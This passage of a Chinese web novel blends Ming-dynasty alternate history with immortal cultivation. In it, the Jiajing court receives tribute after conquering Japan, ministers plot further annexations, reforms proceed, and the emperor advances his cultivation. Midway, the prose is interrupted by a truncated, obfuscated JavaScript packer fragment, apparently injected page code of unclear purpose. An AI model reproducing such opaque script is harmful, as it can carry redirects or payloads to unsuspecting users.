同时最重要的是尹元衡如今表现出的强硬态度,也让他们心中打鼓不已,莫非大王大妃的病情已经稳定?所以尹元恒才如此的狂妄? 这其中透露出来的信号,让他们不得不谨慎对待,就连金正熙也是皱眉不已。 他如何看不出来,尹元衡如此狂妄,这其实是一种强硬态度的表现。 毕竟大王大妃已经病重有两个月了,而太医传出来的消息也是模棱两可,让人猜不透,而他们这些人,则是坚定的王党,都想趁着大王大妃病重之机乘机助国王夺权,一举将外戚消灭。 不过所有的前提都是,大王大妃的病已经回天乏术,否则大王依旧还是那个傀儡。 现在尹元衡如此狂妄,莫非大王大妃又挺了过来? 一时间,金正熙心中一沉。 很快,原本是商讨大明灭掉日本,他们朝鲜是否该立刻派使者前去大明示好,转眼间就成了朝堂之上势力博弈的试探。 至于大明?嗯,瞬间就被抛到脑后了。 然而,不论是王座之上的李峘,又或者争权夺利的尹元衡和金正熙,都不知道的是,大殿之外一个中年侍卫,将尹元衡的话全程听了个全。 中年侍卫眼底闪过一抹精光,而后默默退走跟其他侍卫换班之后回到自己休息的宅院之中,奋笔疾书,只见上面写道: “朝鲜有反意!” 拿着纸条,中年侍卫出了门,然后找到一个秘密联络点,交给一个商人后转身离去。 而那商人看到纸条上的内容后,眼中有冷色浮动,迅速离去。 不久后,一只训练有 素的鹰隼冲天而起,直奔大明的方向而去。 尹元衡也好,李峘也罢,又或者是金正熙,谁都不知道,他们的权利博弈,在真正的高压之下,一切都变得那么的苍白无力。 一个月的时间,大明周边诸邦异国,全都开始采取了行动,派遣使臣,拿着奇珍异宝出使大明的,还有决定按兵不动的,也有严防死守的,还有与周边诸邦结盟,严阵以待的。 至于北境之外的蒙古各部,早在大明敕封亦思哈·哈喇为顺义王之后,草原各部就已经在其统领之下,逐渐形成新的势力。 当得知大明灭掉日本,彻底平了南方倭寇之后,亦思哈·哈喇更是直接修书与大明,并号令所有蒙古各部,全部退出河套地区。 并主动建立防线,表示蒙古各部,永不犯境,以此向大明示好! 至此,一直以来河套地区的归属问题,大明跟草原各部就掰扯不清的问题彻底明了。 以往就算有时候大明强盛,河套地区名义上归属大明,但依旧被各方蒙古部落所霸占,时常骚扰,对此大明也无可奈何。 只能空占着一个归属的名头,但实际掌控权却是异常薄弱。 现在当得知大明跨海灭一国之后,所有人都慌了,尤其是这些内陆当中的番邦异族。 大明跨海都能灭掉对他们来说并不算弱的日本,那在内陆,大明王者之师岂不是更加无敌?真跟他们打起来,怕是顷刻间,他们便会步了日本的后尘,亡国灭种? 尤其是听了严世蕃对倭人施行的一些政策,这些番邦异族各个惊悚不已。 大明在他们眼中似乎变了。 变得不再是那个张口闭口,施行王道教化的大明了,而是变成了一头霸道无比的巨龙,若是有谁敢触怒龙须,等待他的便是雷霆镇压! 嘉靖四十四年,六月十八,大雨。 玉熙宫内,严世蕃手拿奏本,高声道: “蒙古哈喇辉特部首领,亦思哈·哈喇上奏,蒙古各部统一决定,在阴山边界伫立界碑,永不踏入河套地区半步……” 听到这里,御座上方的嘉靖换了个坐姿,惬意的用手指轻轻摩擦着龙头扶手。 下方内阁和司礼监众人,则是静静听着严世蕃汇报诸国的反应。 “安南,南莫、后黎、占城、隆平四方皆派使臣前来朝贡……”说到这里,严世蕃语气一顿,看了眼众人继续道:“暹罗、琉球、女真各部、占城等皆有人前来朝贡……” 说完,严世蕃合上奏本,高声道: “圣明天纵,无过帝君!灭国一战,我大明朝再次恢复成祖皇帝时期,永乐盛世,诸邦异国臣服之盛世,吾主圣明!” 随着严世蕃的一声高呼,群臣纷纷跪伏在地,对着嘉靖高声拜呼。 从吕芳手中接过礼部呈上来的奏本,嘉靖神识一扫,全部了然于胸,满意点头。 “都起来吧,”嘉靖说着,抬手示意众人起身,“关于这些番邦异国,都是怎么想的,说说吧?”说话间,将奏本递给了吕芳。 “回皇上,平定瀛州府,让这些番邦异国心生忌惮,所以他们才会如此积极的朝贡,”对于这种事,严世蕃自然是当仁不让,“此前,我大明忙于内政,天灾**不断,无暇顾忌他们,这些番邦异国朝贡之物也是一年不如一年。” “如今见我大明一战灭一国,展露雄威,又主动前来朝贡,听礼部说东西全都是一些奇珍异宝,这点恰恰证明他们以往的不诚心。” “对我大明,多有藐视!” 听到严世蕃这么说,内阁高拱、张居正等人都是眉头一挑。不用想他们都知道严世蕃这个疯子,接下来要说什么。 果然,就听严世蕃直接开口道:“臣以为,这些番邦异国,全都当灭!” “尤其是那朝鲜!”说到朝鲜的时候,所有人面色都是一肃。 之前,锦衣卫传回来的密报,他们可是都知晓了,朝鲜竟然有反意! 其他诸国此次听到大明一战灭国,都是各个噤若寒蝉,拿出最好的朝贡之物奉上,以期许大明不会对他们动兵,朝鲜竟然敢有反意。 李氏王朝,简直是好大的胆子! 当然,锦衣卫只传回寥寥几个字,就说了一个朝鲜有反意,具体因为什么却没说,不过在场住的人全都默契的没有去深究这背后的原因。 周边诸国,对于大明来说,早就是版图的一部分了。 或许不会像平定瀛州府那般,亡国灭种,但那些国土,绝对要纳入大明。 不过这些还早,刚刚平定瀛州府,再加上大明土地改制还有没有完成,这期间需要一个消化的过程,暂时倒也不急着再次开启国战。 不过,不急着开启国战,并不意味着不能提前把诸邦异国的未来给安排了。 “安南四方并立,”这时,严嵩慢吞吞的开口接过了严世蕃的话,众人也都看向他,“安南早在永乐时期就已经是我大明的附属国。” “如今安南内乱,我大明身为宗主,我理当为他们肃清内政,济其世安其民。” 听到这一番话,高拱和张居正等人心中颇为不屑,不耻严嵩的无耻。 济其世安其民?不就是看上 别人的国土了吗?说的这么冠冕堂皇的。 不过也是,这种脏活,也只有严党才能干。 他们是清流,是大明的体面,这种话是万万不能说的,要不然谁来维护仙朝体面? “至于朝鲜,既已有反意,而且我听闻那李峘不过是就是个傀儡皇帝,”严嵩语气温吞,“外戚干涉朝政,李朝已经名存实亡。” “身为宗主国,那朝鲜百姓,也可看做是我大明百姓,理应济其世安其民……” “诸如女真各部,不过是散兵游勇,弹指可灭。其余像是琉球、暹罗,占城等国,都在海外,倒也不急于一时。” “可先将周边番邦异国清扫干净,之后再出兵海外,最后可让蒙古各部臣服……”严嵩说话很慢,但一言一句都充满了算计和贪婪。 给人的感觉就是,每一块国土,都能吃上一般。 听在嘉靖的耳中,却犹如饮甘甜美酒。 不过现在的大明已经吃饱了,最重要的是消化,等完成土地改制的第二阶段,就可以逐步进行灵田的培育了。 至于大明周边的诸邦异国,迟早不过是盘中餐而已,并不急于一时。 等到大明完成土地改制第二阶段,第三阶段和第四阶段开启的时候,直接就是横推了。 那时,大明唯一需要考虑的,不过是身为仙朝的体面,也就是开启国战的理由。 “好了,”想及此处,嘉靖摆了摆手,“朝鲜的事情先不急。土地改制已经有一年半了吧?聚田削宗的国策施行的如何了?” 嘉靖将目光看向赵贞吉。 “回皇上,”这时赵贞吉一步踏出,躬身一礼后,恭敬道:“预计嘉靖四十五年上旬便可开始正式施行‘聚田削宗’的国策。” “预计到嘉靖四十五年末,土地改制第二阶段正式全面开启。” 听到这里,嘉靖眼中有精光闪过。 赵贞吉的做法确实不错,三年时间解决当初土地改制第二阶段潜在的问题,之后可以顺滑无比的过渡到正式开始。 届时,土地收归朝廷,按人头分配土地,我大明人口,会在短时间内暴涨。 然后就是国力的上涨,自己的修炼速度,怕是会在短时间内,完成一次提速! 之前,日本被灭,正式改名为瀛州府的第一时间,他的识海中,本命大明旁边就出现了一座岛,而自己对岛上的一切都可以操控。 与当初‘帝经’中介绍的不同,凡是攻打下来,纳入版图的疆域是不需要经过帝玺敕封的,帝玺敕封的版图,就类似于朝鲜等附属国。 不过嘉靖懒得这么麻烦,至少地球上的国家,他不想去敕封,他要的是这一整个世界。 一个地球,太小了! “钱币改制八策施行的如何了?”嘉靖又问道。 毕竟钱币改制也是户部督办的,赵贞吉兼着户部,这些他自然是最清楚不过了。 “回皇上,南直隶与北直隶,胡广等大面积范围内,基本上已经完成用白银取代铜钱。” “不过一些小地方,比如一些偏远县城,还需要朝廷加派人手督办,到嘉靖四十五年可全面完成。”赵贞吉这话说的有些保守了。说话间,语气也不由变得小心翼翼了起来。 毕竟当初皇上闭关之前,也就是嘉靖四十一年的时候,要求他们要在嘉靖四十四年之前,全面完成钱币改制,给了他们三年时间。 现在他竟然说要到嘉靖四十五年,这其实已经构成了办事不利之责。 听到赵贞吉说要等到嘉靖四十五年,嘉靖眉头微微一簇,“嘉靖四十四年完成钱币改制,嘉靖四十五年土地改制第二阶段正式开启。” “一年时间,百姓提前适应,如今二者并行,缺少了一个缓冲时间,赵卿……”说着,嘉靖语气平静,道:“你办事不利啊。” “皇上,”这时,严世蕃直接站出来,大声道:“臣请治赵贞吉玩忽失守之罪!” “其实早在嘉靖四十二年的时候,海外诸国就已经有大量的白银涌入我大明,如今看来,到嘉靖四十四年的时候,涌入白银会更多。” “整个瀛州可是存在着大量的白银,若是这些白银流入大明,再加上海外诸国的白银也一起涌入,那时若是不能完成钱币改制,将会对我大明的财政以及民生造成不可逆转的伤害。” “幸亏我皇圣明,庇佑大明,提前收复了瀛州府,阻断了瀛州与葡萄牙等海外诸国的交易途径,节制了白银流入的速度。” “否则,”严世蕃说着,眼神中透露着冷笑,“若是拖到现在,后果不堪设想!” 此刻,严世蕃感觉出了一部分恶气,之前自己对倭人施行亡国灭种计划,这些王八蛋可没少明里暗里的针对自己。 要不是老子当初主张灭倭,那些白银流入,大明又没完成钱币改制,如何应对? 一帮畜生,不知道感恩就算了,还经常对自己冷嘲热讽,视作死敌,简直该死! “噗通!”随着严世蕃的话音落下,赵贞吉心中猛地一慌,直接跪倒在地,大声道:“臣请皇上治臣办事不利之罪!” 赵贞吉此刻心里是有愧的。 之前皇上刚刚秘密赏了他仙法 ,结果他却连这点小事都办不好,足足拖后一年。 此刻听出皇上语气中的不满,还有严世蕃的一番冷嘲热讽后,当即跪地请罪。 高拱、张居正虽然愤恨严世蕃这小人落井下石,但也不敢在这个时候开口求情。 赵贞吉确实拖后了一年,而且严世蕃虽然有落井下石的嫌疑,但说的话却也并不无道理,如果日本没有被灭,那钱币改制没有完成。 那时,大量的白银流入,会对大明造成如何的冲击?要知道这个时候土地改制可是到了关键时候,多重问题接踵而至,后果会如何? 简直不堪设想,好在皇上布局深远。 日本被灭了,如今虽说拖后一年,但也算是与土地改制第二阶段并行。虽然会很仓促,没有留下让百姓适应的时间,但终归是平稳渡过。 不过这罪责,却是实打实的! 接下来,就看皇上会如何发落了。 “从嘉靖三十九年末,到如今嘉靖四十四年中旬,四年时间过去了……”嘉靖说着,起身从御座上下来,背着手迈步到门口,裕王、景王以及内阁和司礼监等人赶紧跟上。 嘉靖望着已是细雨绵绵的天穹,嗅着空气中泥土的湿润气息,缓声道:“四年,从改稻为桑、屯兵兴农,再到整顿吏治,聚田削宗。” “先平蒙古,再收瀛州,完成土地改制第一阶段,施行土地改制第二阶段。” “这步子,确实走的很快……”说着,嘉靖面容微宽,回头看着转向跪在地上的赵贞吉,“起来吧,朕知晓其中的不易。” 听到皇上没打算治罪后,赵贞吉顿时鼻头发酸,心中只觉得温暖不已。 这一刻,他在自家这个贪婪、自私的皇帝身上,第一次感受到了一丝君臣温情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大明,就是他们的作品,看着这样一个伟大的仙朝,在自己的手下成长,那是何等骄傲? 青史留名?不,小了,格局小了! 他们要的是永世不朽! …… 时间匆匆而过。 大明收复瀛州府后,便按部就班的开始完成钱币改制以及土地改制第二阶段。 至于嘉靖?在大明内部再次趋于稳定发展后,便再次一头扎进了修仙世界之中。 接下来大明只需要按部就班的发展,国力就会稳步增长,他也是时候再次做出突破了。 毕竟他发展本命物大明,最终目的还是为了反哺本命,让本命反哺自身修行。 他有预感,接下来几年时间,他的修炼速度会越来越快,或许三五年内突破到筑基后期,都不是什么难事。 此外,还需要进入修仙世界,进行提前布置,毕竟大明这边灵土也要继续开拓,他需要寻找一些洞天福地,或者找机会弄一条灵脉。 …… 嘉靖四十五年上旬。 钱币改制全面完成,大明正式告别了白银为交易货币主流时代。 …… 嘉靖四十五年下旬。 土地改制第二阶段,潜在的问题正式全面消除,土地改制第 二阶段正式开始施行。 …… 嘉靖四十六年中旬。 各地宗室,完成了土地收归,开始为朝廷上报土地。 …… 嘉靖四十六年下旬。 有人密报朝廷,宗室上报朝廷土地数目不对,督察院彻查。 …… 嘉靖四十七年下旬。 经督察院、锦衣卫、东西两厂合力调查,历经一年,查清宗室在此次土地改制中强占民田,强买强卖,欺压百姓等数桩罪行被揭露。 之后朝廷决定,没收宗室所有土地,彻查有有罪之人,不少宗室被清算,贬为庶人。 …… 嘉靖四十七年,十月初十。 朝廷正式宣告天下,废除祖制,不再供养宗室。凡大明宗室子弟必须自力更生,在朝中任职,或是经商皆可,地方官员不得徇私。 至此,大明宗室问题,正式解决! …… 嘉靖四十七年,十一月廿十。 朝廷按人头分配百姓土地,而税赋依旧按田亩征收。 (注:潜在问题解决之法见第142章。) 至此百姓的耕种热情达到了一个前所未有的高度。而随之迎来的就是人口数量的暴涨! 毕竟人口越多,分配到的土地就越多。 除了要交给朝廷的税赋之外,剩下的可就是他们的了,而且朝廷还承诺不再加赋。 …… 嘉靖四十七年,年底。 西苑之外,大雪纷飞,清流一派,徐阶、高拱、张居正和赵贞吉等人早早等候。 而在另外一边,则是新入阁的武勋三人。 这三人分别是胡宗宪、王崇古和俞大猷,朝中新贵。 严嵩、严世蕃,裕王和景王四人依旧没有到,众人自然是默默等候。 值得一提的是,三年时间,内各种得到仙法的人,修为全都有了提升和突破。 首先就是吕芳,修为已经突破到了练气二层,陆炳也差不多,属于后来居上。 不过同境界之间,也有差别,论底蕴和沉淀,吕芳终究是快陆炳一筹。 然后是裕王跟景王,虽然依旧是练气一层,不过也差不多快要突破到练气二层了。 至于严嵩、严世蕃、徐阶,还有一直在隐藏的赵贞吉,也已经完成了突破,修为达到了练气一层,正式步入了修仙者的行列。 至于胡宗宪、王崇古和俞大猷三人,入阁的时间较晚,还没有被赐下仙法和灵田,就连仙官官身,都没有被敕封。 不过三人知道的已经不少了,心中也隐隐期待着,等皇上出关,给他们赐下赏赐。 “架子可真够大的!”高拱发出一声冷哼,“每次都要我们这么多人等!”众人自然听得出来,他这是在对严嵩父子表达不满。 “皇上闭关三年,不知修为会突破到何等境地?”这时,张居正轻抚胡须,望着漫天大雪,眼神当中有着羡慕和期待之色。 如今的内阁中,除了刚刚入阁的胡宗宪三人外,老人中,就剩下了他、高拱和赵贞吉三人,虽然有灵田赐下,可终究没有仙法。 这三年时间,土地改制第二阶段已经完成,也到了结算奖励的时候了。这一次,也该轮到他们这些老人,获得仙法了。 毕竟严嵩、严世蕃;徐阁老和他的儿子徐璠,都已经突破到了练气一层,成了大明王朝继皇上、吕芳等人之外的第二批修仙者。 皇上倒也罢了,可天知道看着这些原本跟他们处于同一起跑线的人修为突破到练气,成为真正的修仙者,他们心里是何等的复杂。 说是不羡慕嫉妒恨,那是假的! 来者居上的可能性不是很大,但是绝对不能被新入阁的胡宗宪三人给追上。 若是处于同一起跑线后还被远远的甩开,那他们这些内阁老人的脸面往哪儿放? 所以,张居正和高拱二人都憋着一口气呢。 至于赵贞吉,依旧默默隐藏着修为,从不在内阁众人面前展露修为,也不运转功法。 所以,除了吕芳之外,没有人知道他也是一个修仙者,而且在修为上,不比严嵩这些人浅。 “说不定,皇上这次突破到了金丹也不一定……”赵贞吉突然开口道。 金丹期!听到这个境界,徐阶也是眼皮跳了跳,这等境界,他暂时想都不敢想。 越是接触修仙,他心中对修仙之路上,境界的划分感触,就越是深刻。 “每一个大境界之间,都隔着天堑鸿沟,”徐阶吸了一口冰凉的空气,道: “单单是练气一层,突破练气二层,我已经感到前路深远,至今摸不到第二层的壁垒。” “练气二层,突破练气三层,第四层,甚至是第九层,又是何等艰难?” 听到徐阶谈起修行境界上的一些感悟,张居正、高拱以及边儿上的胡宗宪三人,也赶紧竖起耳朵,认真地倾听了起来。 毕竟这可是修行境界上的经验,虽然他们还没有得到仙法,也没有开始修炼,但不妨碍他们提前准备着! 知道一些修行上的经验,后边也能少走一些弯路。 修仙无小事,这是所有人都深以为然的! 第一百五十七章 大采购,得到灵脉!严世蕃变法,孔家,危! 修仙世界,传承阁内。 炽热的无色透明灵气在嘉靖周身环绕。 嘉靖面色平静,双目紧闭,呼吸绵长匀称,周身浓郁的火属性灵气粘稠飘荡充斥着整个内室,随着他的呼吸,灵气起伏不断。 在他腰间的储物袋中,道道食指粗的透明状的粘稠灵源,从四面八方进入身体。 “哗哗哗。”在他体内经脉之中,帝经第二层功法运转,灵气如岩浆一般涌动奔腾,不知道功法运行了多少遍,嘉靖只觉得冥冥中,意识中似乎有什么东西狠狠撞击了一下。 只听得“咚”的一声,他整个人身体猛的一颤,继而只觉得灵台一片清明。 外界那些粘稠,充斥着整个内室的火属性灵气,也在这一刻像是突然被稀释,被划开一般陡然变得灵动,飘逸,而后狂暴起来。 “啪啪啪!”灵气鼓动着衣袍,吹打的衣物猎猎作响,嘉靖周身仿佛化作一个无底的黑洞一般,疯狂的吸收着外界的灵气。 很快,灵气风暴凝聚成一个漩涡,淡淡的红色将嘉靖包裹,形成一人高的灵气光茧。 不一会,光茧开始缩小,充斥在内室里的灵气风暴也跟着为威势大减,不一会的功夫彻底消散于无形,再看嘉靖周身也渐渐平息。 “呼!”当一切平息之后,嘉靖轻吐出一口气,紧闭的双眼缓缓睁开,嘴角勾起一抹笑意,“三年,筑基后期,已成!” 从嘉靖四十四年,他进入修仙世界闭关,到现在三年时间过去,他的修为终于从筑基初期,突破到了筑基后期。 按照《修行通识纪要》所说,本命普通,本命物打磨资源又不多的修士,多数都是在炼气期耗尽半生,六七十岁才能突破筑基。 当然,这是多数修仙资源不多,靠着打磨本命物,反哺本命,本命反哺自身的修士,也是修仙世界绝大多数底层修士。 更多的是,在练气期,蹉跎一生,而后无法突破筑基,最终寿元耗尽无奈坐化。 而筑基后,修炼速度会更难,本命物需要不断的打磨,其中耗费的资源是海量的,不仅仅是灵源,还有很多珍稀材料。 即便如此,从筑基初期突破到筑基中期,期间耗费的时间就无比的漫长。 普遍来说,几十年都是正常现象,百年时间突破筑基中期,两百年突破后期,这属于天赋好的,百年突破达到金丹,这属于天才。 而嘉靖,三年时间突破筑基后期,这种天赋已经不能用常理度之了。 只有那些中原大宗中,掌门继承人和极个别的数量极少的妖孽天骄才能达到。 这种级别的天骄之辈,只要达到元婴后不夭折,那么基本上飞升上界是板上钉钉的了。 所以嘉靖对自己的修炼速度是很满意的,甚至,因为自己的修炼速度如此之快,从而产生一些顾忌,嘉靖决定隐藏一些修为! 为什么要隐藏修为?原因很简单,如今的大明仙宗,根本为他提供不了庇护。 掌门独孤英自从上次和‘无情山’的无情仙子一起前往中原解除紫骓兽的诅咒至今未归,整个宗门当中修为最高的就是左护法独孤雄。 而他的修为,也不过是筑基后期,虽然三年时间过去了。有悟道菩提子的帮助,和大量的资源辅助,或许能突破金丹,可又有什么用? 盯上整个大明仙宗,确切的说,盯上自己的人是李长卿。 白马书院统御的疆域无垠,而李家就是书院中三脉之首,这等背景势力,根本无解。 别说区区金丹期了,即便是突破到了元婴,在这等庞然大物面前又有什么用呢? 所以,嘉靖需要适当的藏拙! 如果表现的太过妖孽的话,难保李长卿不会直接要求自己前往书院李家。 在大明仙宗,自己可是自由的,可以随时随地的为大明那边搬用修仙世界的物资,但若是真的加入李家,表现的又太妖孽,可就没自由了。 一举一动都有可能遭到监视,这并非是嘉靖想要看到的。 他谨慎,猜疑惯了,若是这份修炼资质被曝光的话,难保李家不会使用什么控制之法,将自己牢牢的控制在手中,那时生死都在别人一念之间,这修仙还有什么意义? 旁人修仙求的就是长生和自由,逍遥于天地之间,自己除了这些之外还要求唯我独尊,带着大明威震寰宇,甚至有朝一日攻入修仙世界! 没错,就是攻入修仙世界! 自从发现自己的本命和本命物都可以跟随自己穿梭于修仙世界的一刻开始,嘉靖心中的野心就已经按耐不住了,野心数次冒头都被他生生压下,告诫自己,不能冲动,要耐心等待。 皇帝,没有一个是不贪的,但皇帝的贪是攻城略地,是开疆拓土,是盛世不朽。 嘉靖将整个地球看做是大明初期发展的资源储备之地,整个地球所在的星系,都将是大明用来增强实力,发展成庞然大物的基石。 而这一切最终目的,就是有朝一日带着无可匹敌的庞大修仙大军攻入修仙世界。 他一手将大明打造成一个贪婪怪物的雏形,已经成了,接下来只需要按部就班的吞噬、成长、变强、先吃下地球,再吃太阳系,然后 是银河系,然后是银河系所在的全部…… 然后,当大明仙朝的体量,增长到一定程度的时候,他就会发动入侵! 修仙世界太大了,资源太多了! 这些资源,如果不能是大明的,那么将毫无存在的意义! 不过,理智告诉他,不能急,千万不能急,要慢慢来,小不忍则乱大谋。 一定要从最开始,最基础,新大明诞生之初,就把它的形状定好,夯实了。 眼下的大明,第三阶段,第四阶段开启后,这个贪婪的“小东西”就会攻城略地,吃下地球,慢慢成长,驶入星辰大海。 “呼!”深吸一口气吐出,将心中资深的那股贪婪深深地压下,平复了情绪后,嘉靖心中一顿运转帝经当中的一篇名为‘隐境诀’的功法。 不一会,他周身那股筑基后期的气势陡然一降,降到了筑基初期。 这篇‘隐境诀’是配合帝玺施展的,筑基期施展此功法,元婴期之下都看不穿。 当然,就算是元婴,也不一定能看穿,这要看帝玺的威力是否强大了。 帝玺跟大明挂钩,大明强大了,帝玺就强大,若是大明一统整个世界,那整个世界都在大明掌控之中,相当于是一方星辰之力了。 那时候,所谓的元婴老祖都看不穿,甚至是元婴之上,也不一定能看穿。 不过目前来说,元婴之下已经够用了。 在东南这一片地域,最强的就是元婴期了,上次李长卿的那只灵宠猫就是这个境界。 想着,嘉靖起身撤去了全部的禁制和法阵后出了传承阁。 嘉靖四十四年,他入传承阁的时候,曾经出去过一次,如今的大明仙宗弟子已经扩充到了一百多,之前那十二个小家伙修为也大涨。 像是其中天赋比较好的,比如那小胖子独孤东来,已经突破到了练气五层,属于是练气中期了,而李鱼和许山也突破到练气四层。 此外,独孤傲,独孤红叶这些孩子的修为,也大多都突破到了练气四层。 嘉靖比较看好的徐时行、丰胜和刘薇这三个孩子,也都已经修炼到了练气三层。 这三个虽然也都是出生于当初的‘黑风寨’,可毕竟不是独孤家的嫡系,所以得到的灵源补给也就相对少了些。 之后就是独孤傲、独孤红叶和他们的玩伴;独孤家二长老的子嗣,独孤秋、独孤冬和独孤夏,修为也全部达到了练气四层。 徐时行、丰胜和刘薇三个小家伙有嘉靖支持,资源方面在嘉靖闭关前倒也给了不少,让他们除了得到宗门本该有的资源,额外也多了不少,算是与其他人在资源上基本持平。 如此一来的好处就是三个当初被他当做是心腹培养的三个小家伙,对他这个先生,也越发的尊敬和亲近起来,甚至将嘉靖当做是师父。 大明仙宗每一个长老都是有资格收亲传弟子的,这三人就是嘉靖内定的人选。 不过嘉靖没有提前给这三个小家伙承诺,而是告诉他们若是一甲子之内突破筑基,就会收他们为亲传弟子,否则就是没有师徒之缘。 自从上次嘉靖将李长卿给的‘本命映照法器’,交给刘权之后,这些小家伙的本命都已经被看过了。 徐时行、丰胜和刘薇的本命,虽不敢说很好,但也不算是差。 徐时行的本命是一口钟,灵气属性五行之金。丰胜的本命是一把剑,灵气属性五行之水,不是金,倒是让人可惜了不少。 若是灵气属金,倒是可以朝剑修方向发展,毕竟按照修仙世界的常理来说,凡是本命为剑的修行者,最终都是走了剑修的路子。 而本命为剑的修行者,灵气属性也普遍为金属性,主杀伐! 不过这本命倒也与丰胜很是贴合,这小子总是一副瘦瘦弱弱,有些营养不良的样子,身穿白色麻衣,像是个小书生。 水属性的灵气,倒是与他表现的相符合。 最后就是年龄最小的刘薇,如今也已经长成了一个十岁的小姑娘,最大的特点就是那一双单眼皮,让她少了几分可爱多了几分辨识度。 这小姑娘的本命是一只红雀,灵气也是火属性。在嘉靖看来,日后倒是可以给她找一只‘朱雀遗种’来当本命物,修炼必然会很快。 不过这三个小家伙的修为都是练气三层,本命物现在寻找还早,倒也不急于一时。 “拜见先生,”传承阁外,徐时行,丰胜和刘薇三人恭敬道:“恭喜先生出关。” 自从嘉靖处得到不少小灶资源后,三个小家伙就经常在一起,隐隐有一种小团体的架势。 其实随着年龄的增长,当初的十二个小家伙,比如跟独孤英是一系的小胖子独孤东来,李鱼,在家主独孤坝的教育下,已经明悟了一些道理,比如家族和宗派,以及宗派内的派系。 所以他们三个是一个小团体。 然后就是大长老,独孤石所在的二房一系,独孤傲、独孤红叶和他们的玩伴三个小家伙,又是一个小团体。 再就是二长老独孤继所在的三房一系,独孤秋、独孤冬和独孤夏三个小家伙又是一个团体。 当初的宗门高层十二个孩子,被分成了四个小团体,这 些小团体也会慢慢的壮大,最终随着年月的增长,成为宗门中不可忽视的一脉。 这些嘉靖自然看的非常清楚,因为关于宗派家族划分,以及如何安排,都是他手把手教给刘权的,刘权也是受了这些其他安排的。 天赋最好,也是家族族长的孩子,独孤东来可以说是掌门独孤英的亲侄儿。 这就是刘权给掌门独孤英安排的嫡系。 以后,若是独孤英有了子嗣,这些人都会是属下。 “不错,修为都突破到了练气三层,”嘉靖的神识扫过三个小家伙,最后看向年龄最大,如今已经长成一个好少年的徐时行,道: “估计再有月余,就能突破练气四层了!” “什么都瞒不过先生。”徐时行是十二个孩子里年龄最大的,浓眉大眼,看起来很是忠厚。一身墨绿色麻衣,让其看起来越发的稳重。 举手投足间,活脱脱一个大人模样。 “给我说说,”嘉靖招了招手,说话间和蔼的坐到传承阁前的台阶上,“我闭关的这些年里宗门可有什么大事发生?” “回先生,倒是没有什么大事发生……”年龄最大的徐时行开口道: “就是掌门依旧没有归来,此外就是大长老越来越忙了,不停的在宗门、四方城、野市还有南角城奔波,此外就是那伙邪修了。” “一年前,又有邪修作恶,野市乱了一次,不过最后被一只元婴期的黑猫出手解决,最重要的是,听说在野市发现了……”说着,徐时行突然语气压低,道:“本命交易!” 邪修猎取本命,野市出现本命交易?听到这个,嘉靖眼神中若有所思之色浮动。 “不过这些都是野市和四方城里,客栈酒楼的传说,具体情况不清楚。” “因为没多久,御兽门、我大明仙宗、黄风谷三方组成的‘巡视队’就对外宣布,野市从未有本命交易,只是捣毁了邪修猎取本命的老巢,发现了不少本命而已……” 听到这里,嘉靖自然是不信的。 本命交易这事既然能成,就说明这伙邪修有着更为成熟的‘工艺’,能让他人融合本命,从而不出现副作用,那这其中利润就更大了。 好多有钱的修士,本命一般,难保不想换一个更好的本命。 虽说打磨本命物,照样能反哺本命,可谁会介意自己本命和本命物双双都是最好的呢? 如果这个时候这伙邪修能拿出来完美的本命融合技术,愿意换本命的有钱修士大有人在! 猎取他人与自己相匹配,甚至是属性都相同的本命,虽然很难,但数量如果庞大到一定程度的话,找到适配的也不算什么难事。 古籍中记载,说什么本命适配,融合,会有什么排斥,甚至随着修为的提升,会出现各种问题,比如心魔,再比如严重的直接反噬。 这些都是用来哄人的,古早之前,邪修手段粗糙,确实会有这种情况,可浩瀚修仙世界,天才层出不群,总有人会完善本命融合之法。 到了如今,本命融合之法怕是已经无比成熟,就像是一些夺舍之术一般,早已经完美。 此外,从上次与李长卿的交流得知,这伙邪修在中原出现,其根源就是书院三派内斗之下的一个产物。 如此一来,这伙邪修的背后是什么人,已经不言而喻了,就是书院的高层!以书院的能量和底蕴,完善个本命融合之法,很难吗? 本命交易这种为世俗不容的生意,显然也与那灵脉生意一样,属于暴利行业! 修仙世界,有太多有钱的宗派,家族了。 为了让自己的后辈拥有完美的本命,最好的本命物,只要有完美之法,使用本命融合之法,替换本命貌似也不是不可能。 “看来,李长卿也涉及这方面的生意了?或者说,三脉内斗,彼此针对,彼此曝光……”想着,嘉靖微微摇头,将这些压下。 这些与他无关,只要不影响他就是了。 他的重心目标是发展大明,从修仙世界这边搬用庞大的资源。 之前帮助宗门,都是为了宗门更好的发展,如今大明仙宗已经确定了站在李长卿李家这边,等到黄风谷、御兽门这些宗派被清理后。 整个东南这一角,就只有大明一家了。 而到了那个时候,自己跟李长卿之间,还要继续“斗”下去。不过在此之前嘉靖需要有自保之力,修为至少也要达到金丹期。 “好了,我去四方城一趟,你们去修炼吧。”嘉靖听完徐时行的讲述后,起身说着,拿出了自己的飞梭,抛向了半空。 “恭送先生。”徐时行等人看着一步踏出,登上飞梭的嘉靖躬身行礼。 飞梭发出轰鸣,载着嘉靖朝四方城而去,约莫半日后,嘉靖来到了四方城开始大肆采购了起来。 符箓、丹药、本命符箓、还有一些炼丹、炼器、阵法的基础书籍都买了不少。 此外,还有九品储物袋等等,购买了不少。 三年时间,想必大明也已经完成了土地改制的第二阶段,接下来就是大力发展了,嘉靖自然也不会吝啬一些奖励。 其中关于灵田培育,还有专门制造器械机关的基础炼器术也买 了不少。大明要发展仙朝,像是这种大型的器械炼制就少不了。 一直大肆采购到傍晚,嘉靖直接花了将近三十万灵源,从独孤家得知,刘权人在野市后,嘉靖便驾驶着飞梭,直奔野市。 找刘权,自然是为了灵脉了! 上次离开的时候是嘉靖四十二年,如今已经是嘉靖四十七年了,足足五年时间。 李长卿的目标明确,一切求快,引诱黄风谷、清源仙派、小蜀山仙派上钩,然后一举铲除,想必灵脉生意在这五年间已经开始了。 再者说,之前听到的本命交易,显然这野市经营的见不得光的生意,比他想的还多。这其中,未尝没有李家之人在敛财。 毕竟清算的时候,可是要上报书院的,所有的清算都是要走明账的。 就跟朝廷一样,真要办哪里,走上来的明账必须要对得上,之后的利益怎么分也是走明账。 